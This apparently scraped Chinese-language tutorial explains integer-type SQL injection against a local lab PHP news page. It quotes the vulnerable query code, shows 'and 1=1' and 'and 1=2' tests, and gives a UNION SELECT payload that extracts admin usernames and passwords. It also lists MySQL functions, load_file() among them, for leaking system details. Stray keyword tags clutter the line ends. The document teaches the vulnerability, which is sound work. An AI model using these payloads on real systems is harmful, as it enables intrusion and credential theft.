0x01 什麼是SQL注入javascript
SQL是一種注入攻擊,經過前端帶入後端數據庫進行惡意的SQL語句查詢。php
0x02 SQL整型注入原理前端
SQL注入通常發生在動態網站URL地址裏,固然也會發生在其它地發,如登陸框等等也會存在注入,只要是和數據庫打交道的地方都有可能存在。java
如這裏http://192.168.30.22/intsql/shownews.php?id=5 咱們打開shownews.php源文件看下代碼
mysql
if(isset($_GET['id'])) { $id=$_GET["id"]; } else { echo "<script language='javascript'>"; echo "alert('ÇëÊäÈëÕýÈ·ID£¡');"; echo " location='index.php';"; echo "</script>"; exit; } $sql4="select * from news where id=$id"; $result4=mysql_query($sql4); if($nums=mysql_num_rows($result4)) { $rs4=mysql_fetch_array($result4); $title=$rs4["title"]; $content=$rs4["content"]; $hits=$rs4["hits"]; $fbsj=date("Y-m-d",strtotime($rs4['fbsj'])); $sql="update news set hits=hits+1 where id=$id"; mysql_query($sql); }
首先定義一個變量id,$id=$_GET["id"];獲取GET的值,sql
而後定義一個sql4變量來存放sql查詢語句,並和剛纔變量id進行拼接組合,數據庫
$sql4="select * from news where id=$id";後端
最後帶入數據庫進行查詢 $result4=mysql_query($sql4);session
由此能夠肯定此文件存在SQL注入漏洞,id是數字型函數
0x03 驗證漏洞
如今咱們在地址欄id=5 後面輸入 and 1=1 頁面返回了正常
那麼代碼裏的sql語句拼接起來應該就是$sql4="select * from news where id=5 and 1=1"; //整條語句帶入數據庫進行查詢 SQL語句返回爲真即true
如今咱們在地址欄id=5 後面輸入 and 1=2 頁面返回了錯誤
那麼代碼裏的sql語句拼接起來應該就是$sql4="select * from news where id=5 and 1=2"; //整條語句帶入數據庫進行查詢 SQL語句返回爲假即false
依次類推,若是看不懂的話,能夠去補一點sql基本語法知識。
最後在查詢出管理員的後臺帳號和密碼 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly
能夠看到SQL語句拼接起來變成一條完整的select * from news where id=5 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly
mysql數據庫一些經常使用函數: 咱們也能夠加到查詢語句裏進行爆出對應的信息
1:system_user() 系統用戶名2:user() 用戶名3:current_user 當前用戶名4:session_user()鏈接數據庫的用戶名5:database() 數據庫名6:version() MYSQL數據庫版本 @@version7:load_file() MYSQL讀取本地文件的函數8:@@datadir 讀取數據庫路徑9:@@basedir MYSQL 安裝路徑10:@@version_compile_os 操做系統